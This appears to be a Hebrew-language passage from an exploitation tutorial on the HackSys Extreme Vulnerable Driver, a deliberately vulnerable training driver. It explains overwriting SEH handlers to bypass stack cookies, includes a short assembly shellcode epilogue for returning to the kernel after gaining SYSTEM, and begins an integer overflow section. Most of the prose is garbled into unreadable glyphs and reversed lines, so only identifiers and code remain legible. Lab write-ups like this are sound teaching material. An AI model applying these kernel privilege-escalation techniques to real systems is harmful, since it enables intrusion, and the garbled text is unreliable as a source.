ˢ ˪˷ ˢ˵˧ˡ˟˪ ˢ˞˧˶˵ ˣˮ˞˴ˬ-cookie˶ˬˣ˥ ˸˞ ˸ˬ˞ ˭ˬˤ˟ ˣˮ˧ˣˣ˥˷ ˶˥˞˪ ,ˣ˧˷˩˰ . ˸˰˷ ˸ˣˮ˧ˬ˞ˢ ˸ˣ˧ˢ˪ ˪ˣ˪

-˪pseudocode view.ˢ˴˶ˢˢ ˪˰ ˦˪˸˷ˢ˪ ˪˩ˣˮ ˸˞ˤ ˪˩˟ ˡ˴˧˩ ˭˧˟ˢ˪ ˣˮ˧˪˰ , 

ˢ ˪˷ ˨˶˰ˢ ˸˞ ˸ˣ˪ˠ˪ ˣˮ˸ˣ˶˷˲˞˟ ˭˧˞˷ ˭ˣˣ˧˩ˬ-cookie ˷˧ .ˢ˴˶ˢˢ ˪˰ ˦˪˸˷ˢ˪ ˸˶˥˞ ˨˶ˡ ˞ˣ˴ˬ˪ ˣˮ˧˪˰ ,

 :˸˥˞ ˢ˷˪ˣ˥ ˵˶ ˣˮ˪Stack overflow ˶˟˧˧˶ˡˢ ˢ˟ ˸˟ˣ˸˩ˢ ˪˰ ˫˧˦˪ˣ˷ ˣˮ˞˷ ˭˧˧˴˪ ˟ˣ˷˥ ,˭˩ ˣˬ˩ .

ˬ˸˷ˬ˟ ˶ˣ˵ˬˢ ˸˟ˣ˸˩˩ ˷-memcpy .ˢ˧˴˵ˮˣ˲˪ ˶˧˟˰ˬ ˞ˣˢ ˣ˸ˣ˞ ˨˶ˣ˞ˢ ˪˰ ˭˩ˣ , 

 ˱˵˰ˬ˪ ˸˧˯˞˪˵ ˢ˦˧˷stack cookies  ˪ˣ˴˧ˮ ˪˰ ˸˯˯˟˸ˬexception handlers ˪˷ ˭ˣ˧˰˶ˢ .exception 

handlers  ,˸ˣ˞˧ˠ˷ ˫˰ ˸ˣˡˡˣˬ˸ˢ˪ ˫˧ˮˣˮˠˮˬ ˶˲˯ˬ ˫ˮ˷˧ .˸ˣ˞˧ˠ˷ ˫˰ ˡˡˣˬ˸ˢ˪ ˢˮ˩ˣ˸˪ ˶˷˲˞˪ ˞ˣˢ

ˢ ˶˟ˡˮ ˣ˧˪˰ ˭ˣˮˠˮˬˢ ˞ˣSEH - Structured Exception Handling˟ ˭ˣˡˮ .-SEH ˟-32bit ˡˣ˵ˢ ˰˦˵˟ ˭ˮˣ˟˸ˮ .

:˞˟ˢ 

__try {  

   // guarded code  

}  __except ( filter - expression )  {  

  // handler  

}  

 ˪˷ ˫˧˵ˣ˪˟try-except ˢ ˵ˣ˪˟˟ ˞˴ˬˮ˷ ˡˣ˵ˢ ˰˦˵˟ ˸ˣ˪ˣ˰˷ ˸ˣ˞˧ˠ˷ ˫˰ ˡˡˣˬ˸ˢ˪ ˣˮ˪ ˫˧˶˷˲˞ˬ-try .

˟ ˞˴ˬˮ˷ ˡˣ˵˪ˢ ˵ˣ˪˟-try  "˭ˠˣˬ ˡˣ˵" ˞ˣ˶˵˪ ˠˣˢˮ- guarded code ˢ˞˧ˠ˷ˢ ˶ˣ˦˪˧˲˪ ˷ˬ˷ˬ˷ ˧ˣ˦˧˟ˢ .

 ˞˶˵ˮexception filterˢ ˵ˣ˪˟ ˨ˣ˸˟˷ ˡˣ˵ˢˣ ,-except  ˞˶˵ˮexception handler ˶˧ˡˠˢ˪ ˭˸˧ˮ˷ ˭˟ˣˬ˩ .

 ˧˵ˣ˪˟try-except  ˵ˣ˪˟ ˨ˣ˸˟ ˢ˧˴˵ˮˣ˲˪ ˞ˣ˶˵˪ ˭˩ˣ ,˫˧ˮˮˣ˵ˬtry ˶˧ˡˠˢ˪ ˢ˩ˣ˸˟ˣ ,try-except ˪˟.˱˯ˣˮ ˵ˣ 
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ˢ ˪ˣˢ˧ˮ-exception handlers :ˢˤ˩ ˞ˣˢ ˪˧˰˪ ˶˞ˣ˸ˬˢ ˟˴ˬ˟ 

1. ˪ ˸˯ˮ˩ˮ˷ ˫˰˲ ˪˩˟-try-except ˢ ,˵ˣ˪˟-handler ˢ ˸ˬ˧˷˶˪ ˱˯ˣˣ˸˧ ˧˥˩ˣˮˢ-exception handlers 

.ˢ˷˞˶˟ ,˫˧˧˥˩ˣˮˢ 

2.  ˵˶ˤ˧˧ˣ ˢˡ˧ˬ˟exceptionˢ ˨˶˰ˣ˧ ,-filter ˢ ˪˷-handler :˫˧˧˶˷˲˞ ˫˧˩˶˰ ˢ˷ˣ˪˷ ˶˦˪˧˲˪ .˭ˣ˧˪˰ˢ 

¶ EXCEPTION_CONTINUE_EXECUTION )-1 (-  ˡˣ˵ˢ ˸˞ ˳˧˶ˢ˪ ˨˷ˬˢˣ ˢ˞˧ˠ˷ˢˬ ˫˪˰˸ˢ

.ˢ˞˧ˠ˷ˢ ˢ˸˪˰ ˢ˟ ˢˡˣ˵ˮˢˬ 

¶ EXCEPTION_CONTINUE_SEARCH )0 (-  ˶˥˞ ˷˲˥˪ ˨˷ˬˢhandler .ˢ˞˧ˠ˷˪ 

¶ EXCEPTION_EXECUTE_HANDLER )1 (- ˢ˷ ˢ˞˧ˠ˷˩ ˸˶˩ˣˬ ˢ˞˧ˠ˷ˢ-handler  .ˢ˟ ˪˲˦˪ ˰ˡˣ˧

ˢ ˸˞ ˳˶ˢ-handler˩ˬ ˶˥˞˪ˣ ,.ˢ˴˶ˢˢ ˸˞ ˨˷ˬˢ ˭ 

 ˶ˤ˥ˣˬˣ ˢˡ˧ˬ˟EXCEPTION_CONTINUE_SEARCH˪ ˰˧ˠ˧ ˱ˣ˯˟˪˷ ˡ˰ ˨˧˷ˬ˧ ˷ˣ˲˧˥ˢ ,-handler 

˪ ˣ˞ ,˫˧˞˸ˬ-default handler .˸˩˶˰ˬˢ ˪˷ 

3. ˟ ˭ˠˣˬ ˵ˣ˪˟ˬ ˢ˞˧˴˧ ˸˰˟-try-exceptˢ ,-handler .ˢˬ˧˷˶ˢˬ ˶˯ˣ˧ ˵ˣ˪˟ˢ ˪˷ 

ˢ ˸˶˷˶˷ ,˷ˣˬ˧ˬ ˸ˮ˧˥˟ˬ-SEH  ˠˣ˯ˬ ˫˧˶˟˧˞ ˸ˣ˰˴ˬ˞˟ ˸˷ˬˣˬˬ

_EXCEPTION_REGISTRATION_RECORD˟ ˢˮ˟ˬˢ ˸˞ ˭˥˟ˮ ˫˞ .-windbg:ˢ˞˟ˢ ˢ˶ˡˠˢˢ ˸˞ ˪˟˵ˮ , 

 

 ˸ˣˡ˷ˢ ˣ˪˞ ˨˞ ,ˣ˪˪ˢ ˸ˣˡ˷ˢ ˶˥˞˪ ˸ˣˡ˷ ˶˲˯ˬ ˡˣ˰ ˫ˮ˷˧ˣ ˢ˞˪ˬˢ ˢ˶ˡˠˢˢ ˢˮ˧˞ ˧ˢˣˤ ,˪˰ˣ˲˟

 ˢˡ˷ˢ .˫˧ˮ˧˧ˮ˰ˬˢNext  ˢˡ˷ˢˣ ,˸˶˷˶˷˟ ˫ˡˣ˵ˢ ˶˟˧˞˪ ˰˧˟˴ˬHandler ˪ ˰˧˟˴ˬ-exception handler 

˷ˢ .ˣˮ˪˷ ˞˧ˢ ˸˷˵˟˸ˬˢ ˢ˪˞-  ˡ˥˞˟ ˞˴ˬˮ ˢ˞˶ˮ˩ ˞ˣˢ˷ ˞˧ˢ ˸˷˵˟˸ˬˢ ˢ˟ˣ˷˸ˢ ?˶˦˪˧˲ˢ ˭˩˧ˢ

 ˫˷˟ ,˱˯ˣˮ ˢˡ˷˟ ˭˩˞ˣ ,˫˧˲˯ˣˮˢ ˸ˣˡ˷ˢscopetable ˪˷ ˠˣ˯ˢ .scopetable ˢ ˸˯˶ˠ˪ ˫˞˸ˢ˟ ˢˮ˸˷ˬ-

SEH  ˷ˬˬˬ˷ ˶˟˧˧˶ˡ ˫˰ ˣ˪˲ˬ˧˵ ˣˮ˪˷ ˶˟˧˧˶ˡˢ ˸˞ ,˶˪˧˧˲ˬˣ˵˟ ˸˶ˡˠˣˬ˷SEH 4 ˣˮ˪˷ ˢ˶˵ˬ˟ ˭˩˪ ,

scopetable  ˞ˣˢ ˠˣ˯ˬ_EH4_SCOPETABLEˬ ˸ˬ˧ˣ˯ˬ ˢˮˠˢ ˵˲˯ˬ ˷ˡ˥ˢ ˢˮ˟ˬˢ .-buffer overflows .

 ˢˮ˟ˬˢ ˸˞ ˭˥˟ˮ ˫˞_EH4_SCOPETABLE ˫˷˟ ˢˡ˷ ˞˴ˬˮ ,scopeRecord  ˠˣ˯ˬ)

_EH4_SCOPETABLE_RECORD ˫˷˟ ˢˡ˷ ˫˧˧˵ ˢˤˢ ˢˡ˷˟ˣ ,(FilterFunc,  :˫˷ ˶˯˥ ˱˯ˣˮ ˢˡ˷ˣ 

 

 ˫˴˰˟ ˞ˣˢ ˢˤˢ ˢˡ˷ˢunion ˪ ˸˟ˣ˸˩ ˪˷-exception handler  ˸˧˧˴˵ˮˣ˲˪ ˸˟ˣ˸˩ˣfinally ,ˣˮ˪˷ ˢ˶˵ˬ˟ .

˪ ˸˟ˣ˸˩ˢ ˸˞ ˫˷ ˞˴ˬˮ-exception handler ˢ ,˰ˠ˶ ˪˟˞ .ˣˮ˪˷-exception handler ˟ ˞˴ˬˮ-

_EXCPTION_REGISTRATION_RECORD ! 
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 .˭˧˦ˣ˪˥˪ ˵˧ˣˡˬ ˞˪ˣ ,˧˪˞ˣ˦˲˯ˮˣ˵ ˶ˣ˞˧˸ ˞ˣˢ ˫ˡˣ˵ˢ ˡˣˬ˰˟ ˵˲ˣ˯˷ ˭ˣˮˠˮˬˢ ˶ˣ˞˧˸˷ ˸ˣˡˣˢ˪ ˧˪˰ ˢˤ ˟˪˷˟

 ˵˶ ˫˧˧˵ ,˸˧˷˰ˬ ˢˮ˧˥˟ˬexception handler  ˞ˣˢˣ ,˧˶˞ˮ˧˟ˢ ˪˩˪ ˡ˥˞ "˧˸˧ˬ˞"exception handler 

˟ ˶˟ˣˡˬ ,ˣˮ˪˷ ˢ˶˵ˬ˟ ˸˧˲˧˴˲˯ .˶˪˧˧˲ˬˣ˵ˢ ˶˧ˡˠˬ˷-__except_handler4. 

 ˪˩˟_EXCEPTION_REGISTRATION_RECORDˢ ˪˷ ˸˟ˣ˸˩ˢ ,-handler  ˡ˧ˬ˸ ˢ˧ˢ˸__except_hadler4 ,

ˢˣ ˫˧˶˦˪˧˲ˢˣ-handlers  ˨˶˰ˬ˟ ˣ˞˴ˬ˧ ˫˧˧˥˩ˣˮˢScopeRecord ˟˷-scopetable ˟ ˧˥˩ˣˮˢ ˶˟˧˞ˢ ˪˷-

SEHˢ ˸ˣˬ˩˪ ˶˷˵ ˧˪˟ ,ˢ˧˴˵ˮˣ˲ ˪˩˪ ,˭˩ ˣˬ˩ .-try/except blocks  ˵˶ ˫˧˧˵ ˢ˧ˢ˧ ,(˫˧ˮˮˣ˵ˬ ˞˪ˣ ˫˧ˮˮˣ˵ˬ)

_EXCEPTION_REGISTRATION_RECORD /˫˧˶˦˪˧˲ˢ ˪˩ˣ ,˸˧ˮ˯˥ˬ˟ ˡ˥˞handlers ˟ ˣˬ˵ˣˬ˧-

ScopeRecords ˢ ˪˷ˢ .˸˧˥˩ˣˮˢ ˢ˧˴˵ˮˣ˲-handler ˪ˣ ˫˧˶˦˪˧˲˪ ˞ˣ˶˵˪ ˧˞˶˥˞ ˶˪˧˧˲ˬˣ˵ˢ ˪˷-handlers 

.˫˧ˬ˧˞˸ˬˢ 

 ,˞˟ˢ ˶ˣ˧˞ˢ˞˷ ˶ ˶˸˞ˢˬ ˥ˣ˵˪openrce.org ˫˧˧˵ ˢ˟ ˢ˧˴˵ˮˣ˲˟ ˸˧ˮ˯˥ˬˢ ˢˮ˟ˬ ˢ˞˶ˮ ˡ˴˧˩ ˶˧˟˯ˬ ,

try-except  ˫˰)SEH4:( 

 

 ˸˞ ˠ˟ˡˮHEVD!TriggerStackOverflowGS .˸˧˦˵˶˲ ˢˬˠˣˡ ˸ˣ˞˶˪ ˪˧˟˷˟ 
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ˢ ˞˴ˬˮ ˸˧ˮ˯˥ˬ˟ ˢ˲˧˞ ˭˧˟ˢ˪ ˣˮ˧˪˰ ,˸˧˷˞˶-_EXCEPTION_REGISTRAITION_RECORD ˸˞ ˭˥˟ˮ .

 ˸˶ˤ˰˟ ˸˧ˮ˯˥ˬˢIDA: 

 

IDA  ˢˮ˸˷ˬˢ ˸˞ ˢ˸ˢ˧ˤms_exc ˞˴ˬˮ˷ ,0x18  ˠˣ˯ˬ ˶˟˧˞˩ ,˸˧ˮ˯˥ˬˢ ˸˧˷˞˶˪ ˸˥˸ˬ ˫˧˸˟

CPPEH_RECORD˷ ˢˮ˟ˬ ˞˪˞ ,˧˸˧ˬ˞ ˢˮ˟ˬ ˞˪ ˣˢˤ .-IDA  ˪˷ ˢˮ˟ˢˢ ˸˞ ˪˵ˢ˪ ˸ˮˬ ˪˰ ˢ˶˧ˡˠˬ .˰ˡ˧ˬˢ

˟ ˢˮ˟ˬˢ ˸˶ˡˠˢ ˸˞ ˭˥˟ˮ-IDA: 

 

 ˪˷ ˦˯˧ˢ˟˷ ˸ˣ˞˶˪ ˭˸˧ˮ8  ˠˣ˯ˬ ˶˟˧˞ ˞˴ˬˮ ,ˢˮ˟ˬˢ ˸˧˷˞˶ˬ ˫˧˸˟

_EH3_EXCEPTION_REGISTRATION ˢˮ˟ˬˢ ˸˞ ˟˧˥˶ˬ ˞ˣˢ˷ ˢ˞˶ˮ ,ˢˮ˟ˬˢ ˪˷ ˢˮ˧˥˟ˬ .

_EXCEPTION_REGISTRATION_RECORDˢˣ ,-ScopeTable  ˪˷ ˦˯˧ˢ˟ ˞˴ˬˮ ˣ˪˷8  ˸˧˷˞˶ˬ ˫˧˸˟

:ˢˬ˧˷˶ˢ 

 

ˬ˸˷ˮˢ ˸˞ ˭ˣ˥˟˪ ˸ˮˬ ˪˰ ˣˮ˶˟˴˷ ˰ˡ˧˟ ˷-SEH chain ˟-TriggerStackOverflowGS: 

 

˷ ˸ˣ˞˶˪ ˭˸˧ˮ-12 ˢ ˞˴ˬˮ ˸˧ˮ˯˥ˬˢ ˸˧˷˞˶˪ ˸˥˸ˬ ˫˧˸˟-handler  ˭˸˧ˮ ˭˩ˣ ,˶˟˧˧˶ˡ˟ ˶˴˧ ˶˪˧˧˲ˬˣ˵ˢ˷

ˢ ˞ˣˢˣ ,ˢˬ˧˷˶˟ ˣ˪ ˫ˡˣ˵˷ ˡ˥˞ ˶˟˧˞ ˵˶ ˫˧˧˵˷ ˸ˣ˞˶˪-handler .ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˧˦˪ˣ˲˧ˡˢ  ˢˡ˧ˬ˟

 ˵˶ˤ˧˧ˣexception ˟˷ ˸˟ˣ˸˩ˢ ,˭ˠˣˬˢ ˡˣ˵˟-ebp-0xc  ˪˷ ˸˟ˣ˸˩ˢ ˞˧ˢ˷)HEVD!__except_handler4 (

ˢ˷ ˠ˞ˡ˸ ˭˩ˬ ˶˥˞˪ˣ) ˞˶˵˧˸-handler  .(ˢ˴˧˶ˢ ˱ˣ˯˟ ˫˧˞˸ˬ ˨˶˰ ˶˧ˤ˥ˢ˪ ˸˧˞˶˥˞ˣ ˞˶˵˧ ˧˦ˮˣˣ˪˶ˢ
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˪ ˢ˞˧˶˵ˢ˷ ˭˧˟ˢ˪ ˟ˣ˷˥-exception handler  ˢˡ˧ˬ˟ ˭ˠˣˬˢ ˡˣ˵ˢ ˸˴˧˶ ˨˪ˢˬ˟ ˟˪˷ ˪˩˟ ˞˶˵˧ˢ˪ ˢ˪ˣ˩˧

ˢ˪ˣ˰ˣ  ˸˲˧˵˰˪ ˸˧˯˞˪˵ ˢ˦˧˷ ˭˩˪ ,ˢ˞˧ˠ˷Stack Cookies ˢ ˸˞ ˪˴ˮ˪ ˞˧ˢ-Buffer Overflow  ˣˮ˪ ˷˧˷

ˢ ˸˟ˣ˸˩ ˸˞ ˯ˣ˶ˡ˪ ,˸˧ˮ˯˥ˬ˟-handler ˢ˞˧ˠ˷˪ ˫ˣ˶ˠ˪ˣ ,˧ˮ˲˪  ˪˩ˣˮ ˨˩ˣ ,ˢ˧˧ˠˣ˰ˢ ˨˶˰ ˸˞ ˫˧˵ˡˣ˟˷

.ˡˣ˵ ˳˧˶ˢ˪ˣ ˫˧˴ˣ˶ ˣˮ˞˷ ˸˟ˣ˸˩˪ ˳ˣ˲˵˪ 

˧ˬˢ ˸˞ ˞˶ˣ˵ ˶˟˧˧˶ˡˢ ˢˮˬˬ ˸˟ˣ˸˩˟ ˫˧˦˪ˣ˷ ˣˮ˞˷ ˭ˣˣ˧˩ˬ ˪˩ˣˮ ,˞ˣ˶˵˪ ˨˶ˣ˞ ˢˤ˧˞˟ ˣ˪ ˫˧˶ˣˬ ˭˩ˣ ,˰ˡ

ˢ ˸˞ ˪˴ˮ˪ ˫ˣ˶ˠ˪ ˸ˣ˪˵˟-Overflow ˢ ˸˟ˣ˸˩ ˸˞ ˯ˣ˶ˡ˪ ˸ˮˬ ˪˰-exception handler  ˢ˸ˣ˞ ˱˧˪˥ˢ˪ˣ

ˢ ˪˷ ˸˟ˣ˸˩˟-shellcode  ˵ˣ˶ˤ˪ ˨˩˟ˣ ˭ˣ˶˩˧ˤ˟ ˸˲ˣˬˬ ˞˪ ˸˟ˣ˸˩ˬ ˞ˣ˶˵˪ ˣ˪ ˫ˣ˶ˠ˪ ˭˩ˬ ˶˥˞˪ˣ ,ˣˮ˪˷

.ˢ˞˧ˠ˷ 

˧˴˵ˮˣ˲˟ ˶ˤ˰˧ˮ ,ˢˤ˩ ˟˴ˬ ˶˴˧˧˪ ˸ˮˬ ˪˰ˢ ˸ˣ-API :˸ˣ˞˟ˢ 

¶ CreateFileMapping ˶˷˲˞˸˷ ˣˮ˪ ˸ˣ˲ˬ˪ ˭ˣ˶˩˧ˤ ˨˶ˣ˞˟ ˫˧ˣ˯ˬ .˶ˤ˰˧ˮ ˢ˟ ˪˰ ˸ˮˬ ˸ˣ˲ˬ˪ ˡˣˬ˰ ˫˪˷ 

˭ˣ˶˩˧ˤ˟. 

¶ MapViewOfFile ˶˷˲˞˸˷ ˣˮ˪ ˸ˣ˲ˬ˪ ˸˞ ˭ˣ˶˩˧ˤˢ ˟˥˶ˬ˪ ˸ˣ˟ˣ˸˩ˢ ˪˷ ˨˧˪ˢ˸ˢ ˧˥˩ˣˮˢ. 

ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˯ˣ˶ˡ˪ ˸ˮˬ ˪˰˷ ˸ˣ˞˶˪ ˭˸˧ˮ-handler ˟ˣ˸˩˪ ˣˮ˧˪˰ ,0x210 ˫˧˸˟ )0x21c-0xc ˪˷ (

 ˢ˟ ˢˡ˧˥˧ˢ ˢˡˣ˵˲ˢ˷ ˸˟ˣ˸˩˟ ˵˲˸˯ˮ ,˰ˠ˶˩ .˳ˣ˲˵˪ ˢ˴˶ˮ ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˸˞ ˟ˣ˸˩˪ ˭˩ˬ ˶˥˞˪ˣ "˪˟ˤ"

 ˞˧ˢint 3:ˢˡ˟˰ ˭˩˞ ˣˮ˪˷ ˪ˣ˴˧ˮˢ ˸˦˧˷ ˫˞ ˵ˣˡ˟ˮ . 

 

 !˭ˣ˥˴˧ˮJ ˢ ˸˴˶ˢ ˶˥˞˪ ˭˧˵˸ ˡˣ˵˲˸˪ ˶ˣˤ˥˧ ˶˟˧˧˶ˡˢ˷ ˸ˮˬ ˪˰ ˸ˣ˷˰˪ ˣˮ˧˪˰ ˢˬ ˭˧˟ˢ˪ ˣˮ˪ ˶˸ˣˮ ˣ˧˷˩˰-

shellcode ˮ˪˷ ˶ˣˤ˥˪ ˣˮ˧˪˰ ˭˞˪ ˭˧˟ˢ˪ ˣˮ˧˪˰ ,˸˧˷˞˶ :˸ˣ˷˷ˣ˞˸ˢˢ ˟˪˷ ˸˟˧˸˩ ˸˩˞˪ˬ˪ ˷ˠ˧ˮ .ˣ-  ˭˟ˣˬ˩

˪ ˶ˣˤ˥˪ ˢ˴˶ˮ ˞˪˷-epilogue  ˪˷TriggerStackOverflowGS ˪˰ ˢ˵˧ˡ˟ˢ ˰˴˟˸˸ ,˫˷˪ ˟ˣ˷ˮ ˫˞˷ ˭ˣˣ˧˩ˬ ,

˪ ˶ˣˤ˥˪ ˶˥˟ˮ ˭˩˪ ,ˢ˧˧ˠˣ˰ˢ-IrpDeviceIoCtlHandler ˢ ˡˣ˵ ˡˣ˟˧˰ ˪˰ ˸˧˞˶˥˞˷ ˢ˧˴˵ˮˣ˲ˢ)-IOCTL 

˪ ˢ˧˧ˮ˲ˢˣ-IOCTL handler .(˫˧˞˸ˬˢ 
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 ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˭˥˟ˮIrpDeviceIoCtlHandler  ˢˬ ˦˧˪˥ˢ˪ ˸ˮˬ ˪˰ .˶ˣˤ˥˪ ˢ˴˶ˮ ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˶ˣˤ˞ˬ

ˢ ˸˞ ˭˥˟ˮ ,˸˟ˣ˸˩ˢ-backtrace  ˸˶ˤ˰˟) ˧˥˩ˣˮˢάƪ млέ˟ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˷˲˥ˮˣ (-

IrpDeviceIoCtlHandler ˪˷ ˦˯˧ˢ˟ ˸˞˴ˬˮ ˸˟ˣ˸˩ˢ˷ ˢ˞˶ˮ .0xdf ˥˸ˬ ˫˧˸˟ .ˢ˧˴˵ˮˣ˲ˢ ˸˪˧ 

:ˢ˧˴˵ˮˣ˲˪ ˣˬˡ˵˷ ˸ˣˮˣ˶˥˞ˢ ˸ˣˡˣ˵˲ˢ ˶˲˯ˬ ˸˞ ˭ˣ˥˟˪ ˢ˯ˮˮ ,˸˧˷˞˶ 

 

˟˷ ˡˣˬ˪˪ ˭˸˧ˮ-ebx ˢ ˭˯˥ˣ˞ˬ-offset ˟ ,ˢ˯˲ˡˣˢ˷ ˠˣ˟˧ˡˢ ˸ˤˣ˶˥ˬ ˪˷-esi s-IRP stack location ˟x-edi 

-sIRP:˷ˣˬ˧˷ ˢ˷˰ˮ ˫˧˶ˠˣ˞ˢˬ ˣ˪˧˞˟ ˭˥˟ˮˣ (˫˧˶ˤˣ˥ ˣˮ˞ ˢ˧˪˞) ˢ˴˧˲˵ˢ ˶˥˞ ˱ˣ˵˰ˮ . 

 

˸˷ˬ˷ ˶˩˧ˮ ˶ˠˣ˞˟˷ ˨˶˰˟ ˫˧˷ˬebx ˟˷ ˨˶˰˟ˣ ˠˣ˟˧ˡ ˸˰ˡˣˢ ˯˧˲ˡˢ˪ ˸ˮˬ ˪˰-edi  ˸˞ ˫˧˪˷ˢ˪ ˸ˮˬ ˪˰

ˢ ˸˷˵˟-IRP˟˷ ˨˶˰ˢ .-esi  ˪˷ ˨˶˰ˢ ˫˰ ˣ˸ˣ˞ ˫˧˯˶ˣˡ˷ ˭ˣˣ˧˩ˬ ,˷ˣˬ˧˷˟ ˞˪eax ˸˧ˮ˩˸ˢ˷ ˸ˮˬ ˪˰ .

 ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩˷ ˞ˡˣˣ˪ ˭˩ˣ ,˪"ˮˢ ˫˧˶ˠˣ˞˪ ˫˧ˬ˧˞˸ˬˢ ˫˧˩˶˰ˢ ˸˞ ˶˧ˤ˥ˢ˪ ˣˮ˧˪˰ ,˸˧ˮ˵˸ ˢ˴˧˶˪ ˟ˣ˷˸

ˣ˲ˢ ˢ˧ˢ˸ ˢ˧˴˵ˮIrpDeviceIoCtlHandler+0xdf˟ ˫˧˷ˬ˸˷ˬ˷ ˣˮ˧˞˶˷ ˭ˣˣ˧˩ˬ ,˭˩ ˣˬ˩ .-eax ˟˧˴ˢ˪ ˣˮ˧˪˰ ,

 ,ˢˮ˧˵˸ ˢ˴˧˶˟ .˭˧˵˸ ˨˶˰ ˣ˟ ˫ˠeax ˬ ˢ˶ˤ˥ˣˢ˷ ˸˟ˣ˸˩ˢ ˸˞ ˪˧˩˧-StackOverflowGSIoctlHandler ˨˶˰ .

 ˞ˣˢ ˭˧˵˸ ˢ˶ˤ˥0˷ ˞ˡˣˣˮ ˭˩˪ ,-eax  ˪˧˩˧0˧ˮ˯˥ˬˢ ˸˞ ˷ˡ˥ˬ ˶˷˧˧˪ ˫ˠ ˢ˴˶ˮ˷ ˭˟ˣˬ˩ . ˰ˣ˴˧˟ ˶˥˞˪ ˸

.ˣ˪˪ˢ ˸ˣ˪ˣ˰˲ˢ 

 ˢˡˣ˵˲˟ ˶ˤ˰˧ˮk ˟-windbg ˢˬ ˡ˥˞ ˪˩ ˪˷ ˸˧ˮ˯˥ˬˢ ˯˧˯˟ ˸˞ ˸ˣ˪ˠ˪ ˸ˮˬ ˪˰-frames  ˫˧˞˴ˬˮ˷

 ˸˧ˮ˯˥ˬˢ ˰˧˟˴ˬ ˭˧˟ ˫˧˷˶˲ˢˢ ˪˰ ˨ˬ˸˯ˢ˪ ˭˸˧ˮ ˪˟˞ ,˸ˣ˟ˣ˸˩ˢ ˪˰ ˨ˬ˸˯ˢ˪ ˭˸˧ˮ ˞˪ ˫ˮˬˣ˞ .ˣˮ˧˸˥˸

 ˪˩˟ ˣˮ˸ˣ˞ ˫˧ˮ˧˧ˮ˰ˬ˷ ˸˧ˮ˯˥ˬˢ ˪˰ ˫˧˧˪˞˵ˣ˪ˢ ˭˧˟˪ ˧˥˩ˣˮˢframe˥ˢ . ˭˧˧ˮ˰ˬ ˞˪ˣ ˸˧˯˥˧ ˰ˠ˧˧ˬ ˟ˣ˷˧

 .ˣ˧˪˰ ˠ˪ˡˮ ˭˩˪ ,ˡ˥ˣ˧ˬ˟ 
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ˢˬ ˥˵˪ˮ˷ ,˸ˣ˷˷ˣ˞˸ˢˢ ˡˣ˵ ˪˷ ˧˲ˣ˯ˢ ˶˴ˣ˸ˢ ˭˪ˢ˪-payload  ˪˷HackSys ˪-HEVD!StackOverflowGS 

˪ ˧˩ ˫˧˦˯˧ˢ˟ ˫˧˪˵ ˫˧˧ˣˮ˧˷ ˫˰)-shellcode  ˭˧˞ ˣˮ˪˷prologue:( 

add  esp ,  0x794  ; Offset of IRP on stack  

mov edi ,  [ esp ]  ;  Restore the pointer to IRP  

add  esp ,  0x8  ; Offset of DbgPrint string  

mov ebx ,  [ esp ]  ; Restore the DbgPrint string  

add  esp ,  0x234  ; Target frame to return  

xor  eax ,  eax  ; Set NTSTATUS SUCCESS  

pop  ebp  ; Restore saved EBP  

ret  8 ; Return cleanly  

˧ˣˮ˧˷ˢ ˸˞ ˱˧˯ˣˮ˪ ˫˧-shellcode ˳˧˶ˮˣ ˸˧ˮ˩˸ˢ ˸˞ ˷ˡ˥ˬ ˳˧˶ˮ ,whoami ˟-cmd  ˥˸ˣ˲ ˣˮ˪˷ ˨˧˪ˢ˸ˢ˷

ˢ ˸˷˵˟ ˶˥˞˪-IOCTL... 

 

SYSTEM J ˸˧˧˴˦˧ˣ˪˲˯˵˞ ˪˷ ˫˪ˣ˰˟ ˵ˬ˰˸ˢ˪ ˫˧˴ˣ˶˷ ˫˧˷ˮ˞˪ .SEH ˷ˣˬ˧ˬ ˪˰ ˞ˣ˶˵˪ ˳˧˪ˬ˞ ,SEH ˟-

64bit ˸ˣˮˠˢˢ ˪˰ ˭˩ˣ ,SafeSEH x-SEHOP )SEH Overwrite Protection.( 

Integer Overflow 

 ˪ˣ˴˧ˮ˟ ˨˧˷ˬˬ ˣˮ˪˷ ˰˯ˬˢTriggerIntegerOverflow  ˸˷˵˟ ˥˪˷ˮ ˶˷˞˩ ˞˶˵˧˷)IOCTL  ˡˣ˵ˢ ˫˰

0x222027 ˧ˮ˷ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ .ˡ˥ˣ˧ˬ˟ ˸˩˟ˣ˯ˬ ˸˧˞˶ˮ ˞˪ ˞˧ˢ ,ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˧ˮˣ˷˞˶ ˢˮ˧˥˟ˬ .(

˫˧˦ˮˬˣˠ˶˞: UserBuffer x-Size ˫ˢ˧ˮ˷˷ ,-  ˢ˩ ˡ˰ ˣˮ˶˵˯˷ ˫˧˶˵ˬˢ ˧ˮ˷˟ ˣˬ˩- ˸˷ˬˢ ˸˦˧˪˷˟ ˶˟˩ˣ ,˷ˬ

 ˭˞˩ ˰˴˟˪ ˢ˯ˮˮ˷ ˷˵˟˸ˬ ˦˰ˬ˩stack overflow ˨˶ˣ˞˟ ˶˲˞˟ ˸˯˲˞ˬ ˢ˧˴˵ˮˣ˲ˢ .0x7FC  ,˸˧ˮ˯˥ˬˢ ˪˰

ˣˡˣ˯˲) ˢ˞˟ˢ ˢ˪ˣ˰˲ˢ ˸˞ ˸˰˴˟ˬˣ ,ˠˣ˟˧ˡ ˸ˣ˰ˡˣˢ ˢ˯˧˲ˡˬ-:(ˡˣ˵ 

 

ˢˬ ˰ˡ˧ˬˢ ˸˞ ˵˧˸˰˸ ˞˧ˢ ,ˢ˧˴˵ˮˣ˲˪ ˵˲ˣ˯˷ ˪ˡˣˠˢ ˪˰ ˢ˵˧ˡ˟ ˶˟˰ˬ ˭˸ˮ˧ˢ˟-UserBuffer ˪-

KernelBuffer  ˪˷ ˸ˣ˩˧˸˥˟4 ) ˫˰˲ ˪˩˟ ˫˧˸˟DWORD .( 
